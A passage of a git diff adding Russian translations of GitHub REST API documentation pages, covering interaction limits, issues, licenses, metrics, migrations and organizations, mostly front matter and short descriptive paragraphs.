этих типах пользователей {% data variables.product.product_name %}: + +* {% data reusables.interactions.existing-user-limit-definition %} in the respository. +* {% data reusables.interactions.contributor-user-limit-definition %} in the respository. +* {% data reusables.interactions.collaborator-user-limit-definition %} in the respository. + +Если ограничение взаимодействия включено для пользователя или организации, владеющей репозиторием, его невозможно изменить для отдельного репозитория. Вместо этого используйте конечные точки взаимодействий [пользователей](#user) или [организации](#organization), чтобы изменить ограничение взаимодействия. diff --git a/translations/ru-RU/content/rest/interactions/user.md b/translations/ru-RU/content/rest/interactions/user.md new file mode 100644 index 000000000000..24815ae11aae --- /dev/null +++ b/translations/ru-RU/content/rest/interactions/user.md @@ -0,0 +1,27 @@ +--- +title: Взаимодействие с пользователем +shortTitle: User +allowTitleToDifferFromFilename: true +intro: 'API взаимодействия с пользователем позволяет временно ввести ограничения на то, какой тип пользователей может комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступных репозиториях.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: e61096e6f09a9c17608e67846c138142c527c314 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066901' +--- +## Сведения об API взаимодействия с пользователем + +API взаимодействия с пользователем позволяет временно ввести ограничения на то, какой тип пользователей может комментировать, открывать проблемы или создавать запросы на вытягивание в общедоступных репозиториях. {% data reusables.interactions.interactions-detail %} Дополнительные сведения о типах пользователей {% data variables.product.product_name %}: + +* {% data reusables.interactions.existing-user-limit-definition %} взаимодействие с вашими репозиториями. +* {% data reusables.interactions.contributor-user-limit-definition %} взаимодействие с вашими репозиториями. +* {% data reusables.interactions.collaborator-user-limit-definition %} взаимодействие с вашими репозиториями. + +Установка ограничения взаимодействия на уровне пользователя перезапишет все ограничения взаимодействия, заданные для отдельных репозиториев, принадлежащих пользователю. Чтобы задать различные ограничения взаимодействия для отдельных репозиториев, принадлежащих пользователю, используйте конечные точки взаимодействия [репозитория](#repository). diff --git a/translations/ru-RU/content/rest/issues/assignees.md b/translations/ru-RU/content/rest/issues/assignees.md new file mode 100644 index 000000000000..9e614fc94f3a --- /dev/null +++ b/translations/ru-RU/content/rest/issues/assignees.md @@ -0,0 +1,23 @@ +--- +title: Назначаемая проблема +allowTitleToDifferFromFilename: true +shortTitle: Assignees +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 7c53f5b2d64702f98f66796ee8084248686e1fb6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135872' +--- +## Сведения об API назначения проблем + +API назначения проблем поддерживает управление уполномоченными по проблемам и запросам на вытягивание. {% data reusables.pull_requests.issues-pr-shared-api %} diff --git a/translations/ru-RU/content/rest/issues/comments.md b/translations/ru-RU/content/rest/issues/comments.md new file mode 100644 index 000000000000..8ebd6916b1c8 --- /dev/null +++ b/translations/ru-RU/content/rest/issues/comments.md @@ -0,0 +1,25 @@ +--- +title: Комментарии к проблеме +allowTitleToDifferFromFilename: true +shortTitle: Comments +intro: API комментариев к проблеме поддерживает управление комментариями к проблемам и запросам на вытягивание. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 4ce15281238219701a999c56dd6b179b68fed9e2 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147093025' +--- +## Сведения об API комментариев к проблеме + +API комментариев к проблеме поддерживает управление комментариями к проблемам и запросам на вытягивание. {% data reusables.pull_requests.issues-pr-shared-api %} Для управления комментариями к проверке запросов на вытягивание используйте вместо этого [API комментариев к проверке запросов на вытягивание](/rest/pulls/comments). + +{% data reusables.pull_requests.issues-media-types %} diff --git a/translations/ru-RU/content/rest/issues/events.md b/translations/ru-RU/content/rest/issues/events.md new file mode 100644 index 000000000000..ea2b146f9c45 --- /dev/null +++ b/translations/ru-RU/content/rest/issues/events.md @@ -0,0 +1,25 @@ +--- +title: События проблем +allowTitleToDifferFromFilename: true +shortTitle: Events +intro: 'API событий проблем может возвращать различные типы событий, активированных действиями в проблемах и запросах на вытягивание.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: ac884bef9931058f126ac875db65e99b8831657f +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878696' +--- +## Сведения об API событий проблем + +API событий проблем может возвращать различные типы событий, активированных действиями в проблемах и запросах на вытягивание. Дополнительные сведения о конкретных событиях, которые можно получить из API событий проблем, см. в разделе [Типы событий проблемы](/developers/webhooks-and-events/issue-event-types). Также доступен API событий для действий GitHub вне проблем и запросов на вытягивание. Дополнительные сведения см. в разделе [API событий](/developers/webhooks-and-events/github-event-types). + +{% data reusables.pull_requests.issues-pr-shared-api %} diff --git a/translations/ru-RU/content/rest/issues/index.md b/translations/ru-RU/content/rest/issues/index.md new file mode 100644 index 000000000000..9f0abaf5e4af --- /dev/null +++ b/translations/ru-RU/content/rest/issues/index.md @@ -0,0 +1,30 @@ +--- +title: Проблемы +intro: 'API вопросов позволяет просматривать проблемы, пользователей, которым они назначены, комментарии, метки и вехи, а также управлять ими.' +redirect_from: + - /v3/issues + - /rest/reference/issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /issues + - /assignees + - /comments + - /events + - /labels + - /milestones + - /timeline +ms.openlocfilehash: db0d766e86a7a9a428a51b86f0703d2ec62f5bc8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065325' +--- + diff --git a/translations/ru-RU/content/rest/issues/issues.md b/translations/ru-RU/content/rest/issues/issues.md new file mode 100644 index 000000000000..0eb04807a483 --- /dev/null +++ b/translations/ru-RU/content/rest/issues/issues.md @@ -0,0 +1,21 @@ +--- +title: Проблемы +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 8d9d79c8f72199108dfbd1f3e2188d3956d06eeb +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882266' +--- +## Сведения об API проблем + +{% data reusables.pull_requests.issues-media-types %} diff --git a/translations/ru-RU/content/rest/issues/labels.md b/translations/ru-RU/content/rest/issues/labels.md new file mode 100644 index 000000000000..568eddefd00a --- /dev/null +++ b/translations/ru-RU/content/rest/issues/labels.md @@ -0,0 +1,21 @@ +--- +title: Метки +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 60c6429a9e5ffc5a9dde298fa038699076eba5e3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125210' +--- +## Сведения об API меток + +API меток поддерживает управление метками для репозитория и добавление или удаление меток для проблем и запросов на вытягивание. {% data reusables.pull_requests.issues-pr-shared-api %} diff --git a/translations/ru-RU/content/rest/issues/milestones.md b/translations/ru-RU/content/rest/issues/milestones.md new file mode 100644 index 000000000000..f39ad9a758a8 --- /dev/null +++ b/translations/ru-RU/content/rest/issues/milestones.md @@ -0,0 +1,19 @@ +--- +title: Вехи +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5b95a68fa695f76194852e5347a36e535667ef24 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063469' +--- + diff --git a/translations/ru-RU/content/rest/issues/timeline.md b/translations/ru-RU/content/rest/issues/timeline.md new file mode 100644 index 000000000000..8947538e8223 --- /dev/null +++ b/translations/ru-RU/content/rest/issues/timeline.md @@ -0,0 +1,27 @@ +--- +title: События временной шкалы +allowTitleToDifferFromFilename: true +shortTitle: Timeline +intro: 'API событий временной шкалы может возвращать различные типы событий, активированных действиями временной шкалы в проблемах и запросах на вытягивание.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a9872cc5b4013a83f57c84753a19af6c9207ecde +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061877' +--- +## Сведения об API событий временной шкалы + +API событий временной шкалы может возвращать различные типы событий, активированных действиями временной шкалы в проблемах и запросах на вытягивание. Дополнительные сведения о конкретных событиях, которые можно получить из API событий проблем, см. в разделе [Типы событий проблемы](/developers/webhooks-and-events/issue-event-types). Также доступен API событий для действий GitHub вне проблем и запросов на вытягивание. Дополнительные сведения см. в разделе [API событий GitHub](/developers/webhooks-and-events/github-event-types). + +Этот API можно использовать для отображения сведений о проблемах и запросах на вытягивание или определения того, кто должен получать уведомления о комментариях к проблеме. + +{% data reusables.pull_requests.issues-pr-shared-api %} diff --git a/translations/ru-RU/content/rest/licenses.md b/translations/ru-RU/content/rest/licenses.md new file mode 100644 index 000000000000..9a36bd6989af --- /dev/null +++ b/translations/ru-RU/content/rest/licenses.md @@ -0,0 +1,42 @@ +--- +title: Лицензии +intro: API лицензий позволяет получать популярные лицензии на средства с открытым кодом и сведения о файлах лицензии для конкретного проекта. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/licenses +ms.openlocfilehash: f6d229eb27764441ae040abaaca211b5a894e7ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064869' +--- +## Сведения об API лицензий + +API лицензий использует [лицензиат Ruby Gem с открытым кодом](https://github.com/benbalter/licensee), чтобы попытаться идентифицировать лицензию проекта. Лицензиат сопоставляет содержимое файла проекта `LICENSE` (если он существует) с кратким списком известных лицензий. В результате API не учитывает лицензии зависимостей проекта или другие средства документирования лицензии проекта, такие как ссылки на имя лицензии в документации. + +Если лицензия совпадает, возвращенный ключ лицензии и имя соответствуют [спецификации SPDX](https://spdx.org/). + +**Примечание.** Эти конечные точки также будут возвращать сведения о лицензии репозитория: + +- [Получение репозитория](/rest/reference/repos#get-a-repository) +- [Список репозиториев для пользователя](/rest/reference/repos#list-repositories-for-a-user) +- [Список репозиториев организации](/rest/reference/repos#list-organization-repositories) +- [Список вилок](/rest/reference/repos#list-forks) +- [Список репозиториев, отслеживаемых пользователем](/rest/reference/activity#list-repositories-watched-by-a-user) +- [Список репозиториев команды](/rest/reference/teams#list-team-repositories) + +{% warning %} + +GitHub — это много чего, но не юридическая фирма. Таким образом, GitHub не предоставляет юридических консультаций. Использование API лицензий или отправка нам сообщения электронной почты об этом не являются юридической консультацией и не создают отношений адвоката и клиента. Если есть вопросы о том, что можно и чего нельзя делать с определенной лицензией, нужно обратиться к своему собственному юридическому консультанту, прежде чем двигаться дальше. На самом деле, всегда нужно консультироваться со своим собственным адвокатом, прежде чем принимать какие-либо решения, которые могут иметь правовые последствия или которые могут повлиять на юридические права. + +GitHub создали API лицензий, чтобы помочь пользователям получать сведения о лицензиях с открытым кодом и проектах, которые их используют. Мы надеемся, что это поможет, но, пожалуйста, имейте в виду, что мы — не юристы (по крайней мере, большинство из нас) и что мы можем ошибаться, как и все остальные. По этой причине GitHub предоставляет API в варианте "как есть" и не дает никаких гарантий в отношении какой-либо информации или лицензий, предоставленных в нем или им, а также отказывается от ответственности за ущерб, вызванный использованием API. + +{% endwarning %} diff --git a/translations/ru-RU/content/rest/markdown.md b/translations/ru-RU/content/rest/markdown.md new file mode 100644 index 000000000000..1cf0032d00a0 --- /dev/null +++ b/translations/ru-RU/content/rest/markdown.md @@ -0,0 +1,21 @@ +--- +title: Markdown +intro: API Markdown позволяет визуализировать документ Markdown в формате HTML-страницы или неструктурированного текста. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/markdown +ms.openlocfilehash: bfaee71757562122335b840f90db8ee5b8e01fdb +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883014' +--- + diff --git a/translations/ru-RU/content/rest/meta.md b/translations/ru-RU/content/rest/meta.md new file mode 100644 index 000000000000..18028ea025c3 --- /dev/null +++ b/translations/ru-RU/content/rest/meta.md @@ -0,0 +1,21 @@ +--- +title: Meta +intro: 'API метаданных возвращает метаданные о {% data variables.product.product_name %}, включая IP-адреса служб {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/meta +ms.openlocfilehash: fb70e15f1a5ff34d63657c213589e4cc3e29d0f2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065156' +--- + diff --git a/translations/ru-RU/content/rest/metrics/community.md b/translations/ru-RU/content/rest/metrics/community.md new file mode 100644 index 000000000000..2ef1134bfd58 --- /dev/null +++ b/translations/ru-RU/content/rest/metrics/community.md @@ -0,0 +1,19 @@ +--- +title: Метрики Community +shortTitle: Community +allowTitleToDifferFromFilename: true +intro: API метрик сообщества позволяет получать данные о профиле сообщества. +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 6be5fd5e046534d74f25328511e4e0ca1ecd6806 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065153' +--- + diff --git a/translations/ru-RU/content/rest/metrics/index.md b/translations/ru-RU/content/rest/metrics/index.md new file mode 100644 index 000000000000..b6c7070982c2 --- /dev/null +++ b/translations/ru-RU/content/rest/metrics/index.md @@ -0,0 +1,27 @@ +--- +title: Метрики +intro: 'API метрик репозитория позволяет получать профиль сообщества, статистику и трафик для вашего репозитория.' +allowTitleToDifferFromFilename: true +redirect_from: + - /rest/reference/repository-metrics + - /rest/reference/metrics +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /community + - /statistics + - /traffic +ms.openlocfilehash: 55b5b09c8032b7b749c19299e8a59ad47bbf4d68 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067205' +--- + diff --git a/translations/ru-RU/content/rest/metrics/statistics.md b/translations/ru-RU/content/rest/metrics/statistics.md new file mode 100644 index 000000000000..ecefd9fa3b30 --- /dev/null +++ b/translations/ru-RU/content/rest/metrics/statistics.md @@ -0,0 +1,37 @@ +--- +title: Статистика репозитория +shortTitle: Statistics +allowTitleToDifferFromFilename: true +intro: 'API статистики репозитория позволяет получить данные, которые {% data variables.product.product_name %} использует для визуализации различных типов действий репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 74692780426dd848634bf18f16bacd3770da001c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066133' +--- +## Сведения об API статистики репозитория + +API статистики репозитория позволяет получить данные, которые {% data variables.product.product_name %} использует для визуализации различных типов действий репозитория. + +### Несколько слов о кэшировании + +Вычисление статистики репозитория является дорогостоящей операцией, поэтому мы по возможности стараемся возвращать кэшированные данные. Если данные не кэшировались при запросе статистики репозитория, вы получите ответ `202`, но в то же время запустится фоновое задание для начала компиляции этой статистики. Дайте этому заданию несколько секунд для выполнения, а затем отправьте запрос еще раз. Если задание завершено, этот запрос получит ответ `200` со статистикой в тексте ответа. + +Статистика репозитория кэшируются алгоритмом SHA в ветви репозитория по умолчанию. Принудительная отправка в ветвь по умолчанию сбрасывает кэш статистики. + +### Статистика не включает некоторые типы фиксаций + +Статистика, предоставляемая API, соответствует статистике, отображаемой [различными графами репозитория](/github/visualizing-repository-data-with-graphs/about-repository-graphs). + +Подведение итогов. +- Все статистические данные не содержат фиксации слияния. +- Статистика участника также не включает пустые фиксации. diff --git a/translations/ru-RU/content/rest/metrics/traffic.md b/translations/ru-RU/content/rest/metrics/traffic.md new file mode 100644 index 000000000000..80dae40bb807 --- /dev/null +++ b/translations/ru-RU/content/rest/metrics/traffic.md @@ -0,0 +1,21 @@ +--- +title: Трафик репозитория +shortTitle: Traffic +allowTitleToDifferFromFilename: true +intro: 'API трафика репозитория обеспечивает доступ к информации, предоставленной в графе репозитория.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: f5c0a08b5ebce24f89378d4e617895665ebc0c13 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064852' +--- +## Сведения об API трафика репозитория + +Для репозиториев, к которым у вас есть доступ на отправку, API трафика репозитория обеспечивает доступ к информации, предоставленной в графе репозитория. Дополнительные сведения см. в разделе "[Просмотр трафика в репозиторий](/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository)". diff --git a/translations/ru-RU/content/rest/migrations/index.md b/translations/ru-RU/content/rest/migrations/index.md new file mode 100644 index 000000000000..ac49a0f2ab54 --- /dev/null +++ b/translations/ru-RU/content/rest/migrations/index.md @@ -0,0 +1,28 @@ +--- +title: Миграции +intro: 'API миграции позволяет перенести репозитории и пользователей вашей организации из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /v3/migrations + - /v3/migration + - /v3/migration/migrations + - /rest/reference/migrations +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /orgs + - /source-imports + - /users +ms.openlocfilehash: 235ccd283aac32eb3586250d13bfec9c592f771b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066877' +--- + diff --git a/translations/ru-RU/content/rest/migrations/orgs.md b/translations/ru-RU/content/rest/migrations/orgs.md new file mode 100644 index 000000000000..00442e453182 --- /dev/null +++ b/translations/ru-RU/content/rest/migrations/orgs.md @@ -0,0 +1,25 @@ +--- +title: Миграции организаций +allowTitleToDifferFromFilename: true +shortTitle: Organizations +intro: '' +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 52b7ed6d516d1a042d6fbee2c388cc1953c1dc11 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883492' +--- +## Сведения об API миграции организаций + +API миграции доступен только для владельцев организаций, прошедших проверку подлинности. Дополнительные сведения см. в разделах [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization) и [Другие методы проверки подлинности](/rest/overview/other-authentication-methods). + +{% data variables.migrations.organization_migrations_intro %} diff --git a/translations/ru-RU/content/rest/migrations/source-imports.md b/translations/ru-RU/content/rest/migrations/source-imports.md new file mode 100644 index 000000000000..0034ccd81418 --- /dev/null +++ b/translations/ru-RU/content/rest/migrations/source-imports.md @@ -0,0 +1,91 @@ +--- +title: Source imports +intro: '' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +## About the Source imports API + +{% data reusables.user-settings.imports-api-classic-pat-only %} + +{% data variables.migrations.source_imports_intro %} A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/developers/webhooks-and-events/webhook-events-and-payloads#repository_import) to find out the status of the import. + +A more detailed example can be seen in this diagram: + +``` ++---------+ +--------+ +---------------------+ +| Tooling | | GitHub | | Original Repository | ++---------+ +--------+ +---------------------+ + | | | + | Start import | | + |----------------------------->| | + | | | + | | Download source data | + | |--------------------------------------------->| + | | Begin streaming data | + | |<---------------------------------------------| + | | | + | Get import progress | | + |----------------------------->| | + | "status": "importing" | | + |<-----------------------------| | + | | | + | Get commit authors | | + |----------------------------->| | + | | | + | Map a commit author | | + |----------------------------->| | + | | | + | | | + | | Finish streaming data | + | |<---------------------------------------------| + | | | + | | Rewrite commits with mapped authors | + | |------+ | + | | | | + | |<-----+ | + | | | + | | Update repository on GitHub | + | |------+ | + | | | | + | |<-----+ | + | | | + | Map a commit author | | + |----------------------------->| | + | | Rewrite commits with mapped authors | + | |------+ | + | | | | + | |<-----+ | + | | | + | | Update repository on GitHub | + | |------+ | + | | | | + | |<-----+ | + | | | + | Get large files | | + |----------------------------->| | + | | | + | opt_in to Git LFS | | + |----------------------------->| | + | | Rewrite commits for large files | + | |------+ | + | | | | + | |<-----+ | + | | | + | | Update repository on GitHub | + | |------+ | + | | | | + | |<-----+ | + | | | + | Get import progress | | + |----------------------------->| | + | "status": "complete" | | + |<-----------------------------| | + | | | + | | | +``` diff --git a/translations/ru-RU/content/rest/migrations/users.md b/translations/ru-RU/content/rest/migrations/users.md new file mode 100644 index 000000000000..954254b6809e --- /dev/null +++ b/translations/ru-RU/content/rest/migrations/users.md @@ -0,0 +1,29 @@ +--- +title: Миграции пользователей +allowTitleToDifferFromFilename: true +shortTitle: Users +intro: '' +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 500f1c4d73dc3bab613641072387e42d5f8894d4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125139' +--- +## Сведения об API миграции пользователей + +API миграции пользователей доступен только для владельцев учетных записей, прошедших проверку подлинности. Дополнительные сведения см. в разделе [Другие способы проверки подлинности](/rest/overview/other-authentication-methods). + +{% data variables.migrations.user_migrations_intro %} Список данных миграции, доступных для загрузки, см. в разделе [Загрузка архива миграции пользователей](#download-a-user-migration-archive). + +Чтобы скачать архив, сначала необходимо запустить миграцию пользователей. Когда миграция перейдет в статус `exported`, вы сможете загрузить миграцию. + +После создания архива миграции он будет доступен для загрузи в течение семи дней. Однако при необходимости вы можете удалить архив миграции пользователей раньше. Можно разблокировать репозиторий, когда миграция получит статус `exported`, чтобы снова начать использовать репозиторий или удалить его, если вам больше не нужны исходные данные. diff --git a/translations/ru-RU/content/rest/oauth-authorizations.md b/translations/ru-RU/content/rest/oauth-authorizations.md new file mode 100644 index 000000000000..8c631e61056d --- /dev/null +++ b/translations/ru-RU/content/rest/oauth-authorizations.md @@ -0,0 +1,22 @@ +--- +title: Авторизации OAuth +intro: 'Авторизация OAuth позволяет управлять доступом к приложениям OAuth, имеющим доступ к вашей учетной записи.' +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/oauth-authorizations +ms.openlocfilehash: 7a690b1e874179496c80c4a235e61727b5f72a91 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147444672' +--- +## Сведения об API авторизации OAuth + +Этот API можно использовать для управления доступом к приложениям OAuth, имеющим доступ к вашей учетной записи. Доступ к этому API можно получить только с помощью [обычной проверки подлинности](/rest/overview/other-authentication-methods#basic-authentication), используя имя пользователя и пароль, но не маркеры. + +Если у вас или пользователей включена двухфакторная проверка подлинности, убедитесь, что вы знаете принципы [работы с двухфакторной проверкой подлинности](/rest/overview/other-authentication-methods#working-with-two-factor-authentication). diff --git a/translations/ru-RU/content/rest/orgs/blocking.md b/translations/ru-RU/content/rest/orgs/blocking.md new file mode 100644 index 000000000000..3af85f6daf91 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/blocking.md @@ -0,0 +1,18 @@ +--- +title: Блокировка пользователей +intro: '' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 1649cc0627ed55be5317e0606bb29287dbd3d94a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065789' +--- +Маркер, используемый для проверки подлинности вызова, должен иметь область `admin:org`, чтобы выполнять любые блокирующие вызовы в организации. Иначе возвращается ответ `HTTP 404`. diff --git a/translations/ru-RU/content/rest/orgs/custom-roles.md b/translations/ru-RU/content/rest/orgs/custom-roles.md new file mode 100644 index 000000000000..b21233087873 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/custom-roles.md @@ -0,0 +1,21 @@ +--- +title: Пользовательские роли репозитория +intro: '' +versions: + fpt: '*' + ghes: '>=3.4' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +redirect_from: + - /rest/orgs/custom_roles +ms.openlocfilehash: da22cb688dd7c91d2ae72b56a17adb813a57429b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884464' +--- + diff --git a/translations/ru-RU/content/rest/orgs/index.md b/translations/ru-RU/content/rest/orgs/index.md new file mode 100644 index 000000000000..ab7120403dd8 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/index.md @@ -0,0 +1,31 @@ +--- +title: Организации +intro: 'API организаций предоставляет доступ к управлению всеми вашими организациями {% data variables.product.product_name %}.' +allowTitleToDifferFromFilename: true +redirect_from: + - /v3/orgs + - /rest/reference/orgs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /orgs + - /blocking + - /custom-roles + - /members + - /outside-collaborators + - /security-managers + - /webhooks +ms.openlocfilehash: d5b09781c9eca57244dd0051491d2611b0971686 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147444551' +--- + diff --git a/translations/ru-RU/content/rest/orgs/members.md b/translations/ru-RU/content/rest/orgs/members.md new file mode 100644 index 000000000000..f55199b4b261 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/members.md @@ -0,0 +1,21 @@ +--- +title: Участники организации +allowTitleToDifferFromFilename: true +shortTitle: Members +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 01e7953f2765497c93d13581eb19d57ccb083e69 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064837' +--- + diff --git a/translations/ru-RU/content/rest/orgs/orgs.md b/translations/ru-RU/content/rest/orgs/orgs.md new file mode 100644 index 000000000000..b30885473946 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/orgs.md @@ -0,0 +1,20 @@ +--- +title: Организации +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 8dff05216c8d416e89b764dd50f36762319a68b3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062861' +--- + diff --git a/translations/ru-RU/content/rest/orgs/outside-collaborators.md 